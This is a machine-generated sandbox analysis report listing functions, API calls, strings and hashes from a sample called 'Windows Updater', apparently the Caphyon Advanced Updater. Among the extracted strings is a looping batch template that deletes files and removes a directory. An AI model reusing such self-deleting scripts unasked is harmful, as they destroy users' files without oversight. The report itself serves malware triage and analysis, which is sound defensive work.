Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: DefaultLanguageUser
String ID: /install$0x%X$ForceMSIBasicUI$JustDownloadUpdates$LastModified$MD5$NoGUI$ReducedGUI$SHA256$ServerConfigPath$StartMinimized$URL$checknow$restartapp$restartappcmd$silent$silentall$silentcritical$startappfirst$true$wininet.dll
API String ID: 95929093-1962430728
Opcode ID: a77591441ee99699dada25bef78e6e5a51e3427bcb071d39a25a212110b1a762
Instruction ID: 038634470e47757e860534308511705110c55ce7bff8459423142538b1113c4e
Opcode Fuzzy Hash: a77591441ee99699dada25bef78e6e5a51e3427bcb071d39a25a212110b1a762
Instruction Fuzzy Hash: A681D271A0060A9FDB00DFA8D848B9EFFB6FF86324F148269E41597391EB759905CB90

Uniqueness

Uniqueness Score: -1.00%

Function 0058EE00 Relevance: 40.5, APIs: 4, Strings: 19, Instructions: 220
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000002,SYSTEM\CurrentControlSet\Control\ProductOptions,00000000,00020119,00000000), ref: 0058EE70
RegQueryValueExW.KERNEL32(00000000,ProductType,00000000,00000000,?), ref: 0058EEAB
RegQueryValueExW.KERNEL32(00000000,ProductSuite,00000000,00000000,?,?), ref: 0058EF26
RegCloseKey.ADVAPI32(00000000), ref: 0058F0FE

Strings

Small Business, xrefs: 0058EF60
Security Appliance, xrefs: 0058F06E
ProductSuite, xrefs: 0058EF1B
Blade, xrefs: 0058F040
DataCenter, xrefs: 0058F00F
CommunicationServer, xrefs: 0058EFAB
Enterprise, xrefs: 0058EF79
Terminal Server, xrefs: 0058EFC4
WinNT, xrefs: 0058EEB1
BackOffice, xrefs: 0058EF92
EmbeddedNT, xrefs: 0058EFF6
Storage Server, xrefs: 0058F085
ProductType, xrefs: 0058EEA0
Small Business(Restricted), xrefs: 0058EFDD
Compute Server, xrefs: 0058F09C
Embedded(Restricted), xrefs: 0058F057
SYSTEM\CurrentControlSet\Control\ProductOptions, xrefs: 0058EE66
Personal, xrefs: 0058F029
ServerNT, xrefs: 0058EED4

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: BackOffice$Blade$CommunicationServer$Compute Server$DataCenter$Embedded(Restricted)$EmbeddedNT$Enterprise$Personal$ProductSuite$ProductType$SYSTEM\CurrentControlSet\Control\ProductOptions$Security Appliance$ServerNT$Small Business$Small Business(Restricted)$Storage Server$Terminal Server$WinNT
API String ID: 1586453840-3149529848
Opcode ID: 63f588968029638afe0a16cb9b75ffd4808722f9b0cf5c943e0dc0efcb0db191
Instruction ID: 013f0b03ebe8f0a1f45bd662ebb49a7760b79d71ca2b2f08d18cc9742bc4a36c
Opcode Fuzzy Hash: 63f588968029638afe0a16cb9b75ffd4808722f9b0cf5c943e0dc0efcb0db191
Instruction Fuzzy Hash: 9371D735710319CBEF20AF21DC497AA7F7ABB49314F104475AD06BB682EA3ACD458B52

Uniqueness

Uniqueness Score: -1.00%

Function 0059B610 Relevance: 39.3, APIs: 15, Strings: 7, Instructions: 791networksynchronizationfileCOMMON

Download Yara Rule

APIs

InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 0059B81F
GetLastError.KERNEL32 ref: 0059B829
InternetSetOptionW.WININET(00000000,00000002,?,00000004), ref: 0059BAF1
CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,00000000,.part,00000005,?,?), ref: 0059BB61
GetFileSize.KERNEL32(00000000,00000000), ref: 0059BB96
CloseHandle.KERNEL32(00000000), ref: 0059BBBA
ResetEvent.KERNEL32(?,00000000,0062FEFC,00000000,00000000,00000000,00000000,00000000,?), ref: 0059C049
InternetCloseHandle.WININET(00000000), ref: 0059C05A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0059C078
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0059C082
InternetCloseHandle.WININET(00000000), ref: 0059C0A3
InternetSetStatusCallbackW.WININET(00000000,00000000), ref: 0059C0C4
InternetCloseHandle.WININET(00000000), ref: 0059C0CB

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 00597CF0: InitializeCriticalSection.KERNEL32(?,14058998,?), ref: 00597D2D
Part of subcall function 00597CF0: EnterCriticalSection.KERNEL32(?,14058998,?), ref: 00597D3A
Part of subcall function 00597CF0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0062F794,00000002), ref: 00597DD8
Part of subcall function 00597CF0: GetCurrentThreadId.KERNEL32 ref: 00597DF7

InternetSetStatusCallbackW.WININET(00000000,00000000), ref: 0059C127
InternetCloseHandle.WININET(00000000), ref: 0059C12E

Strings

Download was canceled, xrefs: 0059BC96
.part, xrefs: 0059B788
CheckURL() failed, xrefs: 0059BA06
Connect() failed, xrefs: 0059BD93
InitInetConnection() failed, xrefs: 0059B8FD
<, xrefs: 0059B7EE
4, xrefs: 0059C08A

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Internet$CloseHandle$CallbackCriticalCurrentFileObjectProcessSectionSingleStatusWait$CrackCreateEnterErrorEventHeapInitializeLastOptionResetSizeThread
String ID: .part$4$<$CheckURL() failed$Connect() failed$Download was canceled$InitInetConnection() failed
API String ID: 1583507513-4246375245
Opcode ID: 661fe5b9d5149261eb16d6288e54514491f6a3b03e05194d9d2629164cc5e353
Instruction ID: 72576e26c50d9e40dc2f73e2ceec9fedec0177d1a4d595a669254f94fd6249a1
Opcode Fuzzy Hash: 661fe5b9d5149261eb16d6288e54514491f6a3b03e05194d9d2629164cc5e353
Instruction Fuzzy Hash: F4729030A00659DFEF20DB68CD48B9DBFB5BF85314F148299E458A7292DB709E84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 005789F0 Relevance: 26.6, APIs: 13, Strings: 2, Instructions: 390
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(Advapi32.dll,14058998,00000000), ref: 00578A81
GetLastError.KERNEL32 ref: 00578AAF
GetProcAddress.KERNEL32(00000000,ConvertStringSidToSidW), ref: 00578AC5
FreeLibrary.KERNEL32(00000000), ref: 00578ADE
GetLastError.KERNEL32 ref: 00578AEB
GetLastError.KERNEL32 ref: 00578CD9
GetLastError.KERNEL32 ref: 00578D3E

Strings

Advapi32.dll, xrefs: 00578A7C
ConvertStringSidToSidW, xrefs: 00578ABF

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorLast$Library$AddressFreeLoadProc
String ID: Advapi32.dll$ConvertStringSidToSidW
API String ID: 2084285179-1129428314
Opcode ID: 731ea9476fe06ebaca7ba61cddeb6a0fa499598feca085d5cd4903b6ce11ae17
Instruction ID: 7bb280cd1a6ca2894408a99d31d1948f5c80bd6386da482953dd4b6425d604b5
Opcode Fuzzy Hash: 731ea9476fe06ebaca7ba61cddeb6a0fa499598feca085d5cd4903b6ce11ae17
Instruction Fuzzy Hash: 3CF17DB1C01209EFDB10DF94D9497EEBFB5BF54310F248119E919B7280DB70AA45DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 005C6950 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 308
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00000104,14058998,?,?,00000000,?,?,00000000,00617DCD,000000FF), ref: 005C699A
_wcsrchr.LIBVCRUNTIME ref: 005C6A2C
_wcsrchr.LIBVCRUNTIME ref: 005C6A8B
CopyFileW.KERNEL32(?,?,00000000,00000000,?,.exe,?,?,?,00000000,?,?,00000000,00617DCD,000000FF), ref: 005C6B26
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,00000000,?,?,00000000,00617DCD,000000FF), ref: 005C6B34
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,.ini,?,?,?,00000000), ref: 005C6B90
WriteFile.KERNEL32(00000000,?,00000002,?,00000000,?,?,?,00000000,?,?,00000000,00617DCD,000000FF), ref: 005C6BBD
DeleteFileW.KERNEL32(?,?,?,?,00000000,?,?,00000000,00617DCD,000000FF), ref: 005C6BDF
GetLastError.KERNEL32(?,?,?,?,00000000,?,?,00000000,00617DCD,000000FF), ref: 005C6C29

Part of subcall function 00573430: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 005732F8

Strings

aiu, xrefs: 005C69D0
RealUpdaterPath, xrefs: 005C6C87
.exe, xrefs: 005C6ADC
.ini, xrefs: 005C6B3A

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: File$_wcsrchr$AttributesCopyCreateDeleteErrorFindLastModuleNameResourceWrite
String ID: .exe$.ini$RealUpdaterPath$aiu
API String ID: 2718112306-2284992342
Opcode ID: 711a8312bc1ecf8e3f15daeb852a5a2731085172357c3f8a95ff7b4f55229f84
Instruction ID: c9c599eb5b3708ccdcf4e474d959ef20f1aff67e9bf1d92304ab44f8237369d6
Opcode Fuzzy Hash: 711a8312bc1ecf8e3f15daeb852a5a2731085172357c3f8a95ff7b4f55229f84
Instruction Fuzzy Hash: 05B1937060060AEFDB14DFA8DD59FAEBBB5FF44310F14822DE41697291EB70AA05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005D2520 Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 341
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(?,?,00000001,?), ref: 005D25D2
GetLastError.KERNEL32 ref: 005D25DC
GetActiveWindow.USER32 ref: 005D269C
SetLastError.KERNEL32(0000000E), ref: 005D26BA
GetExitCodeThread.KERNEL32(?,00000000), ref: 005D2710

Strings

`.c, xrefs: 005D25EC

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ErrorLastThread$ActiveCodeExitMessagePostWindow
String ID: `.c
API String ID: 1742873593-1747594236
Opcode ID: 8f296f7f0db3ffb91099aa6f37fb9f2462ae6a7f136fd713af5de4a2b79c714d
Instruction ID: 3d1cc87c64d0530499a16bd59d9d24be8d333fb0b87250551f5a0f8d5a4af0da
Opcode Fuzzy Hash: 8f296f7f0db3ffb91099aa6f37fb9f2462ae6a7f136fd713af5de4a2b79c714d
Instruction Fuzzy Hash: 8AE19A70900249DFEB21CF6CC888BDDBFA5BF65314F18826AE8199B391D775D984CB90

Uniqueness

Uniqueness Score: -1.00%

Function 005C6F10 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 253
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005C6F10: WritePrivateProfileStringW.KERNEL32(00000000,?,?,14058998), ref: 005C6E77

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,UninstallFilePath,00000000,?,14058998,?,?,00000000), ref: 005C6F7A
GetLastError.KERNEL32 ref: 005C6F99
CloseHandle.KERNEL32(?), ref: 005C71AB

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 00573430: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 005732F8

GetACP.KERNEL32(?,00000000), ref: 005C70C4
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 005C70F6
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 005C7125
WriteFile.KERNEL32(?,00000000,-00000001,?,00000000), ref: 005C713B

Strings

del "%s" , xrefs: 005C7028
:again if not exist "%s" goto end if exist "%s" del "%s" goto again :end rmDir "%s" del "%s" | cls, xrefs: 005C7095
@echo off , xrefs: 005C6FC7, 005C6FD7
UninstallFilePath, xrefs: 005C6F48
General, xrefs: 005C6E47, 005C6E57

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: ByteCharFileMultiWideWrite$CloseCreateErrorFindHandleHeapLastPrivateProcessProfileResourceString
String ID: :again if not exist "%s" goto end if exist "%s" del "%s" goto again :end rmDir "%s" del "%s" | cls$@echo off $General$UninstallFilePath$del "%s"
API String ID: 2630526663-1430081174
Opcode ID: 81453bfec4d330e64bd70db304e7ffbcebed5e55076eac255f1fed42d21aba6e
Instruction ID: bf5500016de0578041150caa93cb75c62ea181f14b489858d3b6a9dae6461a7f
Opcode Fuzzy Hash: 81453bfec4d330e64bd70db304e7ffbcebed5e55076eac255f1fed42d21aba6e
Instruction Fuzzy Hash: CB918F70900609EFDB10DFA8DC49FAEBFA5FF48324F148169E914AB292DB749904DB90

Uniqueness

Uniqueness Score: -1.00%

Function 005791F0 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 519
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCrackUrlW.WININET(?,00000000,00000000,?), ref: 00579295
_wcsrchr.LIBVCRUNTIME ref: 0057938E
_wcschr.LIBVCRUNTIME ref: 00579417

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

_wcschr.LIBVCRUNTIME ref: 005794A3
_wcschr.LIBVCRUNTIME ref: 00579500
_wcsrchr.LIBVCRUNTIME ref: 00579631
_wcschr.LIBVCRUNTIME ref: 00579672

Strings

<, xrefs: 0057928E
.aiu, xrefs: 0057960B, 0057961B
<>:"/\|?*, xrefs: 00579578, 00579588

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: _wcschr$_wcsrchr$CrackHeapInternetProcess
String ID: .aiu$<$<>:"/\|?*
API String ID: 2881578941-3633523513
Opcode ID: 252b8b67c94aad62c8b42ffa0f0bc16853ff4e87b367a2996cfa38806ec435e0
Instruction ID: cf63a175bff851d4927f562aea56f1488dd8e3af37a162d1d364db53d28cf947
Opcode Fuzzy Hash: 252b8b67c94aad62c8b42ffa0f0bc16853ff4e87b367a2996cfa38806ec435e0
Instruction Fuzzy Hash: A812E53090064ADBDB04DFA8D848BAEBBB5FF85324F14C258F919DB291DB74D904DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0059DDE0 Relevance: 16.6, APIs: 4, Strings: 5, Instructions: 828networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0059E9C0: ResetEvent.KERNEL32(?,?,?,?,0059DE32,?,?,?,?,?,00000003,00000000,14058998,?,?), ref: 0059E9D3
Part of subcall function 0059E9C0: InternetConnectW.WININET(0059DE32,0059DE32,0059DE32,0059DE32,0059DE32,0059DE32,0059DE32), ref: 0059E9F6
Part of subcall function 0059E9C0: GetLastError.KERNEL32(?,?,?,0059DE32,?,?,?,?,?,00000003,00000000,14058998,?,?), ref: 0059EA00
Part of subcall function 0059E9C0: WaitForSingleObject.KERNEL32(?,0000000A,?,?,?,0059DE32,?,?,?,?,?,00000003,00000000,14058998,?,?), ref: 0059EA31

HttpOpenRequestW.WININET(?,?,?,HTTP/1.0,0062D060,0062FD80,?), ref: 0059DED9
InternetSetStatusCallbackW.WININET(?,00000000), ref: 0059E89A

Strings

Range: bytes=%u-, xrefs: 0059E044
Content-Type: application/x-www-form-urlencoded; charset=utf-8, xrefs: 0059E15C
<, xrefs: 0059E81B
If-Modified-Since: %s, xrefs: 0059E0C7
HTTP/1.0, xrefs: 0059DECD

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Internet$CallbackConnectErrorEventHttpLastObjectOpenRequestResetSingleStatusWait
String ID: <$Content-Type: application/x-www-form-urlencoded; charset=utf-8$HTTP/1.0$If-Modified-Since: %s$Range: bytes=%u-
API String ID: 3438646452-3447111383
Opcode ID: 29a31f201c2a4720f093f898d71c5a3b859e3a0c032984fcd8bbdb8d082297d0
Instruction ID: 1a0454dda0c76498c70d498df2a2429c7ac30750171d5b9a576f186f60de4820
Opcode Fuzzy Hash: 29a31f201c2a4720f093f898d71c5a3b859e3a0c032984fcd8bbdb8d082297d0
Instruction Fuzzy Hash: 27728970900649DFEF10CFA8C849BAEBBF5FF45314F148669E859A72A1DB74A940CF90

Uniqueness

Uniqueness Score: -1.00%

Function 005D48F0 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 331
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

Part of subcall function 00573430: FindResourceW.KERNEL32(00000000,00000001,00000006,?,00000000,?,00000000,?), ref: 005732F8

RegOpenKeyExW.KERNEL32(?,?,00000000,00020019,?,?,?,?,?,?,?,?,0061AE26,000000FF), ref: 005D49D6
RegCloseKey.ADVAPI32(?,?,ConfigFilePath,?,?,?,?,?,?,0061AE26,000000FF), ref: 005D4AD6
GetModuleFileNameW.KERNEL32(00000000,00000104,ConfigFilePath,?,?,?,?,?,?,0061AE26,000000FF), ref: 005D4B1D
_wcsrchr.LIBVCRUNTIME ref: 005D4BA6
RegCloseKey.ADVAPI32(?,?,?,-00000010,?,?,?,?,?,?,0061AE26,000000FF), ref: 005D4C38
RegCloseKey.ADVAPI32(?,?,.ini,00000004,?,-00000010,?,?,?,?,?,?,0061AE26,000000FF), ref: 005D4C9B

Strings

ConfigFilePath, xrefs: 005D4A3C, 005D4A4C
Software\Caphyon\Advanced Updater\Settings, xrefs: 005D495C, 005D496C
.ini, xrefs: 005D4BD7, 005D4C4F

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Close$FileFindHeapModuleNameOpenProcessResource_wcsrchr
String ID: .ini$ConfigFilePath$Software\Caphyon\Advanced Updater\Settings
API String ID: 339666702-2585319053
Opcode ID: 88befb42a0ebe6bac91cffcd3eca0a1db6ee8ed564d354e7cae2ea701df168bf
Instruction ID: 458c18d9fbc54d9d4e77df67949d309d2632cbfa42be944843c90cf6bbe061f5
Opcode Fuzzy Hash: 88befb42a0ebe6bac91cffcd3eca0a1db6ee8ed564d354e7cae2ea701df168bf
Instruction Fuzzy Hash: 55D1A27090124ADFDB10DFA8C949BAEBBB5FF44314F14815AE415EB292EB749E04CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 005AE3D0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 204
filesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005BFA40: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104), ref: 005BFA6A
Part of subcall function 005BFA40: RegisterWindowMessageW.USER32(00000000,?), ref: 005BFABD

ShowWindow.USER32(00000000,00000002,14058998,?,?,00000000), ref: 005AE41A
ShowWindow.USER32(00000000,00000001,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005AE424

Part of subcall function 00578770: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,005E679F,C000008C,00000001,?,005E67D0,00000000,?,00000000,?,00573D67,00000000,14058998), ref: 0057877C

OpenEventW.KERNEL32(00100000,00000000,00000000,00000000,00000001,?,00000000), ref: 005AE55A
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 005AE576
CloseHandle.KERNEL32(?), ref: 005AE584
UnmapViewOfFile.KERNEL32(?), ref: 005AE599
CloseHandle.KERNEL32(00000000), ref: 005AE5B6

Strings

.bat, xrefs: 005AE4EB

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Window$CloseFileHandleShow$EventExceptionMessageModuleNameObjectOpenRaiseRegisterSingleUnmapViewWait
String ID: .bat
API String ID: 4248157538-24442780
Opcode ID: 1318c598067eb39510c9b126d174b20f2ec810fd01dfe1595a00c96742a1767b
Instruction ID: 68c4b7ee504eaf4f05957e16a5f81f37188aef67ac066299d73a222056c8f300
Opcode Fuzzy Hash: 1318c598067eb39510c9b126d174b20f2ec810fd01dfe1595a00c96742a1767b
Instruction Fuzzy Hash: F671E531E006159FDB21DFA8D849B9EBFB5FF59324F148269E815AB291DB709D00CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 005A9150 Relevance: 13.9, APIs: 9, Instructions: 398
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00574250: GetProcessHeap.KERNEL32 ref: 005742A5

RegOpenKeyExW.KERNEL32(00000000,00000000,00000000,00020019,00000000,?), ref: 005A920C
RegCloseKey.ADVAPI32(00000000), ref: 005A9252
RegCreateKeyExW.ADVAPI32(00000000,?,00000000,00000000,00000000,000F003F,00000000,00000000,00000000,14058998), ref: 005A9380
RegSetValueExW.ADVAPI32(00000000,00000000,00000000,00000004,?,00000004), ref: 005A93A7
RegCloseKey.ADVAPI32(00000000), ref: 005A93B9
RegCreateKeyExW.ADVAPI32(00000000,00000000,00000000,00000000,00000000,000F003F,00000000,00000000,00000000,80004005), ref: 005A94F4
RegCloseKey.ADVAPI32(00000000), ref: 005A9537

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_570000_Windows Updater.jbxd

Similarity

API ID: Close$Create$HeapOpenProcessValue
String ID:
API String ID: 3063119672-0
Opcode ID: 437940f30e4a757739ce4fec042b14f4e20f0f951cb52bee3ba8e320a31222c8
Instruction ID: 6458564639a77338fe4b27219ab357a50723e28612eef605da86e08f4cf8a506
Opcode Fuzzy Hash: 437940f30e4a757739ce4fec042b14f4e20f0f951cb52bee3ba8e320a31222c8
Instruction Fuzzy Hash: 3FE1A275A0020AEFDB01CFA8C845BAEBBB9FF46710F148259E914EB291D775D901DB90

Uniqueness

Uniqueness Score: -1.00%

Function 005C2450 Relevance: 13.7, APIs: 9, Instructions: 151fileCOMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(00000004,00000000,?,?,14058998,?,005C4AA0,?,?,00630D60), ref: 005C2495
GetLastError.KERNEL32(?,005C4AA0,?,?,00630D60), ref: 005C24A2
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000,?,005C4AA0,?,?,00630D60), ref: 005C24DD
GetLastError.KERNEL32(?,005C4AA0,?,?,00630D60), ref: 005C24ED
CloseHandle.KERNEL32(?,?,?,?,?,005C4AA0,?,?,00630D60), ref: 005C255E
UnmapViewOfFile.KERNEL32(?,?,?,?,?,005C4AA0,?,?,00630D60), ref: 005C2572
OpenEventW.KERNEL32(00000002,00000000,?,?,?,?,?,?,005C4AA0,?,?,00630D60), ref: 005C259B
SetEvent.KERNEL32(00000000), ref: 005C25B6
CloseHandle.KERNEL32(00000000), ref: 005C25CC

Memory Dump Source

Source File: 0000001E.00000002.3179854326.0000000000571000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00570000, based on PE: true

Associated: 0000001E.00000002.3179806445.0000000000570000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3179975535.000000000061F000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180016704.000000000064C000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 0000001E.00000002.3180117230.000000000064F000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

